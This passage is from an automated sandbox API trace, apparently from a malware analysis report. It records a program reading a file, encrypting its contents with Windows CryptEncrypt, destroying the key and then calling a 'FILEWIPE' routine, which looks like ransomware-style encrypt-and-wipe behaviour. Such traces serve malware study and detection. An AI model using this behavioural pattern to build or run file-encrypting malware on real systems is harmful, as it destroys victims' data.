lpOverlapped=0x0) returned 1 [0024.709] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.711] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.712] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.712] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.712] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.712] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.712] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.713] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.713] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064b40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.713] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.713] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.714] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.714] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.714] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.714] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x80b5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x80c0) returned 1 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.714] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] CharLowerBuffW (in: lpsz="byte[32961]", cchLength=0xb | out: lpsz="byte[32961]") returned 0xb [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.715] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.715] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41d8c10*, pdwDataLen=0xe8f3dfdf68*=0x80b5, dwBufLen=0x80c0 | out: pbData=0xe8f41d8c10*, pdwDataLen=0xe8f3dfdf68*=0x80c0) returned 1 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.716] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.716] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.716] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.716] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.719] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.719] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.719] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.719] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.720] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.720] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.720] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.722] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.722] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.722] CharLowerBuffW (in: lpsz="byte[32949]", cchLength=0xb | out: lpsz="byte[32949]") returned 0xb [0024.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.722] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.723] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.723] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.723] CharLowerBuffW (in: lpsz="handle", 